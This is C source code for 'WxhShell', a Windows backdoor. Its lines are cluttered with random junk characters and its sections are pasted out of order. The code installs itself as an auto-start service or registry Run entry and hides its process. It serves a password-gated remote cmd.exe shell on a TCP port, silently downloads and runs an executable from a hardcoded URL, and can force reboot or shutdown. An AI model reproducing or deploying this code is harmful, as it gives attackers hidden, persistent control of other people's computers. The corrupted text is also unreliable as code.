    if(Boot(SHUTDOWN)) (4;m*' X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U/9i'D[|{  
    else { rGNYu\\  
    closesocket(wsh); ao+lLCr  
    ExitThread(0); k/U1 :9  
    } R&lJ& SgC  
    break; LIm{Y`XU  
    } H> zX8qP+  
  // 获取shell Rw j4  
  case 's': { .m r& zq  
    CmdShell(wsh); O %x<  
    closesocket(wsh); %MA o<,ha  
    ExitThread(0); *wvd[q h  
    break; H K]-QTEn  
  } {~L{FG)O  
  // 退出 #o>~@.S#:0  
  case 'x': { eUY/H1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D'F j"&LK  
    CloseIt(wsh); xZMQ+OW2i  
    break; ( pDu  
    } d*}dM "  
  // 离开 V8C62X  
  case 'q': { "7G>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !Dc|g~km\  
    closesocket(wsh); [Dzd39aKr  
    WSACleanup(); +n'-%?LD&  
    exit(1); H}ie D"T_  
    break; ApT8;F B  
        } z(o zMH  
  } aa-{,X"MF  
  } )\`.Ru~,  
=yR$^VSY  
  // 提示信息 ?KB+2]7m6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k}0Y&cT!rU  
} nq/SGo[c  
  } goMv8d  
qk+RZ>T<o  
  return; # $N)  
} VR'R7  
-;1nv:7Z3  
// shell模块句柄 C6 PlO  
int CmdShell(SOCKET sock) U8>M`e"D  
{ -ff@W m  
STARTUPINFO si; ]ChGi[B~9  
ZeroMemory(&si,sizeof(si)); +46m~" ]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q{c/TRp7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !gyEw1Re7  
PROCESS_INFORMATION ProcessInfo; i&di}x  
char cmdline[]="cmd"; [( O*W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~43T$^<w;  
  return 0; ozCH1V{p  
} H\PY\O&cP  
xY=%+o.?*  
// 自身启动模式 9kO}054  
int StartFromService(void) #~JR_oQE!  
{ p]]*H2UD  
typedef struct &tjv.t  
{ \* /R6svz  
  DWORD ExitStatus; =qNZ7>Qw  
  DWORD PebBaseAddress; e.>>al  
  DWORD AffinityMask; j@guB:0  
  DWORD BasePriority; c]x'}K c  
  ULONG UniqueProcessId; A`I;m0<  
  ULONG InheritedFromUniqueProcessId; 9*ek5vPB  
}   PROCESS_BASIC_INFORMATION; ;;]^d_  
|bM?Q$>~  
PROCNTQSIP NtQueryInformationProcess; ^}{`bw{  
a*N<gId  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hLo>jE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FWb`F&  
kKHGcm^r  
  HANDLE             hProcess; < cUaIb;(4  
  PROCESS_BASIC_INFORMATION pbi; ~]l T>|X  
`*ml/% \  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V.?Oly  
  if(NULL == hInst ) return 0; BIn7<.&  
][[\!og  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -udKGrT+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vUD>+*D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q)F@f /  
#*v:.0%  
  if (!NtQueryInformationProcess) return 0; ;#+Se,)  
\1H~u,a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); J12hjzk6@  
  if(!hProcess) return 0; g-O}e4  
,enU`}9V*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; F8En )#  
s4kkzTnXE3  
  CloseHandle(hProcess); [Fo" MeH?R  
Ed ,O>(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q*pWx]Y  
if(hProcess==NULL) return 0; r)/nx@x  
tEC`-> |  
HMODULE hMod; iI@m e=  
char procName[255]; 3A)Ec/;~  
unsigned long cbNeeded; vN8Xq+  
Ip&Q'"HYj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); I7@g,~s  
W:TF8Onw  
  CloseHandle(hProcess); >}|Vmy[/  
4.o[:5'  
if(strstr(procName,"services")) return 1; // 以服务启动 !3J YG  
u ^Ss8}d  
  return 0; // 注册表启动 MET"s.v  
} ]$xN`O4W{  
qFwJ%(IQ  
// 主模块 dxwH C\"5  
int StartWxhshell(LPSTR lpCmdLine) @, %IVKg\  
{ )gb gsQZ  
  SOCKET wsl; vb1Gz]~)>  
BOOL val=TRUE; Q ,6[  
  int port=0; ye^l~  
  struct sockaddr_in door; .C7;T'>!  
~V?3A/]  
  if(wscfg.ws_autoins) Install(); UW@BAj@^@  
tc4"huG  
port=atoi(lpCmdLine); yG%<LP2p@f  
{ kF"<W  
if(port<=0) port=wscfg.ws_port; qL1 d-nH  
MDqUl:]  
  WSADATA data; SeX:A)*ez%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >Vl8ZQ8  
V/@?KC0B5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I nCo[ 8SI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KfkE'_ F  
  door.sin_family = AF_INET; .dStV6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o7B }~;L  
  door.sin_port = htons(port); V {H/>>k7  
mE+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;;cPt44s  
closesocket(wsl); xw5LPz;B  
return 1; ( /):  
} ^,;AM(E  
$GcVI ;a  
  if(listen(wsl,2) == INVALID_SOCKET) { ,*}5xpX  
closesocket(wsl); LG6k KG  
return 1; K,o@~fj  
} XnCrxj  
  Wxhshell(wsl); y5AJ1A6?E  
  WSACleanup(); h~zG*B5F  
R:}u(N  
return 0; {?zbrgQ<Z  
(K>=!&tlp=  
} m?$peRn3{  
`4N{x.N  
// 以NT服务方式启动 =Lyo]8>,X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PiTe/  
{ Q#$#VT!F  
DWORD   status = 0; YEB@p.  
  DWORD   specificError = 0xfffffff; <y30t[.E6  
-Ze{d$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V7qc9Gd@I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9^5D28y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `T \"B%  
  serviceStatus.dwWin32ExitCode     = 0; N1Pm4joH%  
  serviceStatus.dwServiceSpecificExitCode = 0; QV@NA@;XZ  
  serviceStatus.dwCheckPoint       = 0; D]UqM<0Rz  
  serviceStatus.dwWaitHint       = 0; H^e0fm  
|8s)kQ4$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DIU9Le  
  if (hServiceStatusHandle==0) return; .;'3Roi  
ra'h\m  
status = GetLastError(); EC6Q<&]Iw  
  if (status!=NO_ERROR) \f AL:mJ  
{ uDZ$'a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;Q0WCm\5  
    serviceStatus.dwCheckPoint       = 0; KfVLb4@16_  
    serviceStatus.dwWaitHint       = 0; w|uO)/v  
    serviceStatus.dwWin32ExitCode     = status; i(k]}Di:  
    serviceStatus.dwServiceSpecificExitCode = specificError; P(Fd|).j$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K[XFJ9  
    return; ?5oeyBA@  
  } N{$'-[  
{D(_"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; c&o|I4|Y,  
  serviceStatus.dwCheckPoint       = 0; gtBnP~zT\B  
  serviceStatus.dwWaitHint       = 0; b(Ev:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u*<G20~A  
} CX8tTbuFl  
^.d97rSm  
// 处理NT服务事件,比如:启动、停止 s] X]jfA.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) | Ts0h?"a  
{ r95l.v  
switch(fdwControl)  MR/8  
{ :.+?v*%;n  
case SERVICE_CONTROL_STOP: Pkm3&sW  
  serviceStatus.dwWin32ExitCode = 0; a^*@j:[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y'9 bs  
  serviceStatus.dwCheckPoint   = 0; $1CAfSgKw  
  serviceStatus.dwWaitHint     = 0; UO& p2   
  { c==` r C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AU@XpaPWh  
  } "))G|+tz  
  return; rSYzrVc  
case SERVICE_CONTROL_PAUSE: ?]fd g;?@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 8%UI<I,  
  break; WCbv5)uTUs  
case SERVICE_CONTROL_CONTINUE: 2EeWcTBU}.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0@9.h{s@  
  break; #K3A{ jb,  
case SERVICE_CONTROL_INTERROGATE: g2=5IU<  
  break; M~/%V NX  
}; 0YsC@r47wL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K#=)]qIk  
} k-LB %\p  
|2jA4C2L}  
// 标准应用程序主函数 =W gzj|Kr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vI"BNC*Q1  
{ Vw&# Lo  
$+U 6c~^^  
// 获取操作系统版本 A5s;<d0  
OsIsNt=GetOsVer(); gL7rX aj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {]4Zpev  
Y7')~C`up^  
  // 从命令行安装 "z*?#&?,  
  if(strpbrk(lpCmdLine,"iI")) Install(); B@8lD\  
!~xlze   
  // 下载执行文件 :=:m4UJb  
if(wscfg.ws_downexe) { 'sa>G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {_Fh3gjb/  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q-yNw0V}F  
} NjO_Y t  
j@/p: fk  
if(!OsIsNt) { 2~yj =D27Z  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ir Y\Q)  
HideProc(); R I:kp.V  
StartWxhshell(lpCmdLine); ZsP>CELm@  
} LMLrH.  
else 0W)|n9  
  if(StartFromService()) Q&w"!N  
  // 以服务方式启动 nPjK=o`KR  
  StartServiceCtrlDispatcher(DispatchTable); n.G.f bO  
else \0FwxsL  
  // 普通方式启动 "z-tL  
  StartWxhshell(lpCmdLine); FyNm1QNy^  
:OA;vp~$x  
return 0; Bc'Mj=>;  
} 1'1>B  
I |"'  
u>*qDr* d  
~G.MaSm  
=========================================== tY#Zl 54~{  
G[{Av5g mx  
n|B<rx?v  
z]2lT IWg  
#JN4K>_4  
; FHnu|  
" 4E+8kz'  
. "7-f]!  
#include <stdio.h> s}bLA>~Ta  
#include <string.h> VH vL:z  
#include <windows.h> ,V{Bpr  
#include <winsock2.h> SH O&:2  
#include <winsvc.h> bgkBgugZhX  
#include <urlmon.h> :NB.ib@*  
hDc2T  
#pragma comment (lib, "Ws2_32.lib") MeAY\V%G=o  
#pragma comment (lib, "urlmon.lib") Vt:\llsin  
q#\B}'I{  
#define MAX_USER   100 // 最大客户端连接数 J|VDZ# c7  
#define BUF_SOCK   200 // sock buffer  i(V  
#define KEY_BUFF   255 // 输入 buffer XD80]@\za  
{Z178sik  
#define REBOOT     0   // 重启 XV,ce~ro[  
#define SHUTDOWN   1   // 关机 6P)DM  
7p>T6jK)  
#define DEF_PORT   5000 // 监听端口 \tCK7sBn  
5xU}}[|~-  
#define REG_LEN     16   // 注册表键长度 5'%O]~  
#define SVC_LEN     80   // NT服务名长度 +>yspOEz  
a>+m_]*JZ  
// 从dll定义API 9fO E .  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cu<' b'%;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6z'0fi|EN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^ (J%)&_\3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2X(2O':Uc  
@X=sfygk  
// wxhshell配置信息 Z Z c^~  
struct WSCFG { `S4G+j>u6  
  int ws_port;         // 监听端口 0T 0I<t  
  char ws_passstr[REG_LEN]; // 口令 ZT`" {#L  
  int ws_autoins;       // 安装标记, 1=yes 0=no =l6W O*  
  char ws_regname[REG_LEN]; // 注册表键名 $>Ow<! c  
  char ws_svcname[REG_LEN]; // 服务名 u=E &jL5U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NdRE,HWd?$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jwI1 I{x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ` M-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X7gB.=\X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yk*_u}?#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ::3[H$  
OT"jV  
}; `V.tqZF  
~4c,'k@  
// default Wxhshell configuration @Y+kg  
struct WSCFG wscfg={DEF_PORT, ^E%NYq_2l<  
    "xuhuanlingzhe", F>E_d<m  
    1, vq@"y%C4  
    "Wxhshell", RusiCo!r  
    "Wxhshell", -W: @3\{  
            "WxhShell Service", dN){w _  
    "Wrsky Windows CmdShell Service", VRHS 4  
    "Please Input Your Password: ", =w:H9uj6F  
  1, CI+liH  
  "http://www.wrsky.com/wxhshell.exe", r\y\]AmF  
  "Wxhshell.exe" 7dlMDHp\Y  
    }; h-o;vC9fC  
P8tCzjrV  
// 消息定义模块 ur]WNk8bN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :73T9/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O_5;?$[m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s,D GFK  
char *msg_ws_ext="\n\rExit."; g26 l:1P  
char *msg_ws_end="\n\rQuit."; ;zWiPnX}  
char *msg_ws_boot="\n\rReboot..."; mmMiA@0  
char *msg_ws_poff="\n\rShutdown..."; E#kH>q@K`$  
char *msg_ws_down="\n\rSave to "; 3[~LmA  
[y<s]C6E  
char *msg_ws_err="\n\rErr!"; ADMeOdgca  
char *msg_ws_ok="\n\rOK!"; 'n?"f|G  
.0|_J|{  
char ExeFile[MAX_PATH]; q@4Cw&AI+  
int nUser = 0; gUp9yV  
HANDLE handles[MAX_USER]; ~{6}SXp4U  
int OsIsNt; 9YBlMf`KEf  
u R!'v  
SERVICE_STATUS       serviceStatus; O [=W%2I!i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u#->?  
mrVN&.  
// 函数声明 6-nf+!#G  
int Install(void); e JEcLK3u  
int Uninstall(void); 1+tPd7U  
int DownloadFile(char *sURL, SOCKET wsh); _G)x\K]N  
int Boot(int flag); J/[PA[Rf  
void HideProc(void); WkoYkkuzj  
int GetOsVer(void); zaE!=-U  
int Wxhshell(SOCKET wsl); ;!m_RQPFF  
void TalkWithClient(void *cs); ?W&ajH_T  
int CmdShell(SOCKET sock); c>C!vAg  
int StartFromService(void); ==bT0-M.~  
int StartWxhshell(LPSTR lpCmdLine); YDEb MEMd/  
&7c#i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <H1e+l{8$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); RLDu5  
3LVL5y7|  
// 数据结构和表定义 b+71`aD0  
SERVICE_TABLE_ENTRY DispatchTable[] =  o7AI  
{ o* QZf *M  
{wscfg.ws_svcname, NTServiceMain}, "VAbUs  
{NULL, NULL} S's I[?\x  
}; 1_LGlu~&  
I>>X-}  
// 自我安装 e#?rK=C?9  
int Install(void) o^BX:\}  
{ yIS&ZtBA  
  char svExeFile[MAX_PATH]; ` h1>rP  
  HKEY key; mS]soYTQ  
  strcpy(svExeFile,ExeFile); m=]}Tn  
I4zm{ 1g  
// 如果是win9x系统,修改注册表设为自启动 rrZ'Dz  
if(!OsIsNt) { Zb~G&. 2g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0-U%R)Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !(N,tZ  
  RegCloseKey(key); Uql7s:!,U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [xPO'@Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5OC3:%g  
  RegCloseKey(key); DZ5h<1  
  return 0; ^^gV@fz  
    } 2>inyn)S  
  } ybgw#jv=  
} Vj_z"t7q  
else { XN'<H(G  
5U(ry6fI=  
// 如果是NT以上系统,安装为系统服务 Za1VJ5-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RSf*[2  
if (schSCManager!=0) 4)d#dy::\  
{ IQ9Rvnna  
  SC_HANDLE schService = CreateService 0I>[rxal  
  ( "H)D~K~ *  
  schSCManager, ]N1gzHaS  
  wscfg.ws_svcname, u[coWaPsZ  
  wscfg.ws_svcdisp, Iy {&T#e"  
  SERVICE_ALL_ACCESS,  <:`x> _  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #^< Rx{  
  SERVICE_AUTO_START, 8x<; AL|`  
  SERVICE_ERROR_NORMAL, x^6sjfAW  
  svExeFile, 0'^zIL#.  
  NULL, 62J -)~_  
  NULL, 8'Bik  
  NULL, Vu1X@@z  
  NULL, >*[Bq;  
  NULL \g\,  
  ); _cXLQ)-  
  if (schService!=0) #5W-*?H  
  { rfc;   
  CloseServiceHandle(schService); E.OL_\  
  CloseServiceHandle(schSCManager); NxQ+z^o\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _#6ekl|%  
  strcat(svExeFile,wscfg.ws_svcname); fk:oCPo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -<WQ>mrB&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]!04L}hy|P  
  RegCloseKey(key); -OV!56&  
  return 0; =lqGt.x  
    } MzO4Yv"A  
  } uE{nnNZy  
  CloseServiceHandle(schSCManager); - +=+W  
} 2x&mJ}o#k  
} O U3KB  
)6:nJ"j#  
return 1; _ Tj`  
} $^4URH  
:If1zB)  
// 自我卸载 geRD2`3;  
int Uninstall(void) 7'9~Kx&+  
{ F2$Z4%x#  
  HKEY key; 5%n  
{`vv-[j|  
if(!OsIsNt) { }2eP~3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ngoAFb  
  RegDeleteValue(key,wscfg.ws_regname); U`fxe`nVa  
  RegCloseKey(key); 71ctjU`U2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p%v+\T2r  
  RegDeleteValue(key,wscfg.ws_regname); OJ:iQ  
  RegCloseKey(key); [LJ1wBMw  
  return 0; *?Sp9PixP  
  } r!vSYgee  
} )q48cQ  
} *MFsq}\ $  
else { ]"< ` ^  
vUXas*s4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kU5chltGF  
if (schSCManager!=0) ;nbUbRb  
{ \)pT+QxZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qh)o44/ $  
  if (schService!=0) W=$d|*$  
  { K XP^F6@l  
  if(DeleteService(schService)!=0) { *hp3w  
  CloseServiceHandle(schService); 8N|y   
  CloseServiceHandle(schSCManager); +8 avA:o  
  return 0; OJUH".o  
  } =*aun&  
  CloseServiceHandle(schService);  m%-  
  } )kSE5|:pi  
  CloseServiceHandle(schSCManager); 8uR4ZE*  
} 09{B6l6P  
} j`Xe0U<  
"+2Hde1  
return 1; h9,ui^#d$  
} V3'QA1$  
'1[}PmhD  
// 从指定url下载文件 ]C =+  
int DownloadFile(char *sURL, SOCKET wsh) TM8WaH   
{ > !thxG/_  
  HRESULT hr; j"aimjqd3  
char seps[]= "/"; LB|FVNW/S  
char *token; E.$1CGd+  
char *file; R!i9N'gGG(  
char myURL[MAX_PATH]; /XG4O  
char myFILE[MAX_PATH]; C< GS._V&  
!tkP!%w  
strcpy(myURL,sURL); + j._NRXRH  
  token=strtok(myURL,seps); T.vkGB=QZ%  
  while(token!=NULL) ~G!>2 +L  
  { 72qbxPY13h  
    file=token; E4^zW_|xE  
  token=strtok(NULL,seps); $= /.oh  
  } RzG<&a3B3s  
8}FZ1h2 4  
GetCurrentDirectory(MAX_PATH,myFILE); ZW$PJmz  
strcat(myFILE, "\\"); /`YHPeXu  
strcat(myFILE, file); rULrGoM  
  send(wsh,myFILE,strlen(myFILE),0); [:geDk9O#'  
send(wsh,"...",3,0); `2S G{5o;  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); je6H}eWTC6  
  if(hr==S_OK) %a;N)1/  
return 0; Ij_Y+Mnl4:  
else \e%H5W x  
return 1; K~p\B  
\K+LKa)  
} i?uJ<BdU[  
v%(2l|M  
// 系统电源模块 &BnK[Q8X  
int Boot(int flag) FWNO/)~t  
{ E\2|  
  HANDLE hToken; JHpaDy*  
  TOKEN_PRIVILEGES tkp; <S'5`-&  
|cwGc\ES  
  if(OsIsNt) { E 9_aNYD  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d(RSn|[0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @G  0k+  
    tkp.PrivilegeCount = 1; k23*F0Dv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0*S2_&Q)  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =vx iqRm  
if(flag==REBOOT) { ^&iUC&8W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P!q U8AJkt  
  return 0; 9s\;,!b  
} LJK<Xen  
else { {8Jr.&Y2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V QE *B  
  return 0; ~C6Qp`VF  
} ^;0.P)yGA  
  } 2 fp\s5%J}  
  else { f.ku v"  
if(flag==REBOOT) { "Gx(-NH+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #gbJ$1s  
  return 0; -g'[1  
} iOI8'`mk  
else { "' g*_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fMaUIJ:Q9  
  return 0; z_vFf0  
} VmM?KlC  
} @l~zn%!X  
P#5&D*`}h  
return 1; {e4`D1B  
} yrO \\No#H  
F.i%o2P3  
// win9x进程隐藏模块 IHCEuK  
void HideProc(void) ..RCR_DIp  
{ Op^r}7  
%lsk> V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0`:B#ten  
  if ( hKernel != NULL ) ndEW$?W,  
  { .c~`{j}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &Pu}"M$[MH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Yoy}Zdu}h  
    FreeLibrary(hKernel); :=u Ku'~  
  } NMYkEz(&R  
"|&xUWJ!)  
return; uXPvl5(Y?  
} 4$D:<8B  
^i}*$ZC72  
// 获取操作系统版本 yM(zc/?  
int GetOsVer(void) 3#7D g't  
{ / 0Z_$Q&e  
  OSVERSIONINFO winfo; Q$_S/d%*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?0HPd5=<v  
  GetVersionEx(&winfo); jFYv4!\ju  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |pB[g> ~V  
  return 1; 3(|8gWQ  
  else }lzUl mRTe  
  return 0; ts rcX  
} TqURYnNd  
f(Jz*el S  
// 客户端句柄模块 "Xq.b"N{*  
int Wxhshell(SOCKET wsl) bN-ljw0&  
{ S`ms[^-q*  
  SOCKET wsh; ?ysC7 ((  
  struct sockaddr_in client; tm27J8wPzV  
  DWORD myID; {1 fva^O  
f{=0-%dA  
  while(nUser<MAX_USER) `8$gaA*  
{ ZujPk-  
  int nSize=sizeof(client); {MK.jw9/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^VCgc>x;  
  if(wsh==INVALID_SOCKET) return 1; 5"1kfB3v  
!9+xKr99  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rap`[O|l=  
if(handles[nUser]==0) jcNY W_G  
  closesocket(wsh); $ K>.|\  
else fN4d^0&  
  nUser++; Zi$v-b*<  
  } #kD8U#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A*)G . o:  
t)Q6A@$:  
  return 0; Na8%TT>  
} O=c^Ak   
.32]$vx  
// 关闭 socket I/F3%'O  
void CloseIt(SOCKET wsh) Vn4y^_H  
{ })zYo 7  
closesocket(wsh); 5e> <i  
nUser--; (]wd8M  
ExitThread(0); a@>P?N~LA9  
} JYE[ 1M  
]yvHb)X  
// 客户端请求句柄 @Yv+L)  
void TalkWithClient(void *cs) 4tv}5llSG  
{ 5Z2tTw'i  
zjuU*$A4  
  SOCKET wsh=(SOCKET)cs; K6C@YY(  
  char pwd[SVC_LEN]; 6k|^Cs6~z  
  char cmd[KEY_BUFF]; 'a}<|Et.  
char chr[1]; y.pwj~s  
int i,j; x)+3SdH  
Y Ib=rR[ $  
  while (nUser < MAX_USER) { ?3X(`:KB  
dZS v=UY)  
if(wscfg.ws_passstr) { zcn> 4E)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !!jitFHzb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,};UD  W  
  //ZeroMemory(pwd,KEY_BUFF); DU@ZLk3  
      i=0; Zx%ib8| j  
  while(i<SVC_LEN) { GI]sE]tZ  
9e`.H0  
  // 设置超时 ]HpKDb0+  
  fd_set FdRead; A7|CG[wZ  
  struct timeval TimeOut; W.B;Dy,Y  
  FD_ZERO(&FdRead); 8$c_M   
  FD_SET(wsh,&FdRead); n!nXM  
  TimeOut.tv_sec=8; E{Gkq:  
  TimeOut.tv_usec=0; Jp'XZ]o\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #Tr>[ZC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2HxT+|~d6  
4| 6<nk_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (wMiX i  
  pwd=chr[0]; ^oL43#Nlo  
  if(chr[0]==0xd || chr[0]==0xa) { G`a,(<kT;  
  pwd=0; _kgGz@/p  
  break; AK7IPftlH  
  } \R m2c8Z2  
  i++; ?Re6oLm<B  
    } 'aq9]D_k  
l'~~hQ{h/  
  // 如果是非法用户,关闭 socket & o2F4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mnZS](>  
} _tl,-}~  
.e^AS~4pl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QN GICG-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $& 0hpg  
$O+e+Y  
while(1) { gK`o ;` ^  
1l8kuwH  
  ZeroMemory(cmd,KEY_BUFF); Z#2AK63/T  
I6k S1  
      // 自动支持客户端 telnet标准   oj8_e xx  
  j=0; y .+d3  
  while(j<KEY_BUFF) { c`hj^t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^KBE2C  
  cmd[j]=chr[0]; 17itC9U  
  if(chr[0]==0xa || chr[0]==0xd) { <Z$r\Huf  
  cmd[j]=0; wRc=;f  
  break; GN7\p)  
  } :X?bWxOJ  
  j++; d )}@0Q  
    } BQs~>}(V  
(>E}{{>2r  
  // 下载文件 !hBzT7CO  
  if(strstr(cmd,"http://")) { |k # ~  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r*n_#&-7  
  if(DownloadFile(cmd,wsh)) +cDz`)N,,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |o:[*2-   
  else np>RxiB^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w""5T|  
  } Gk.;<d  
  else { # j=r  
U?MKZL7  
    switch(cmd[0]) { mXX9Aa>  
  :6^8Q,C1@  
  // 帮助 ,O9rL :?  
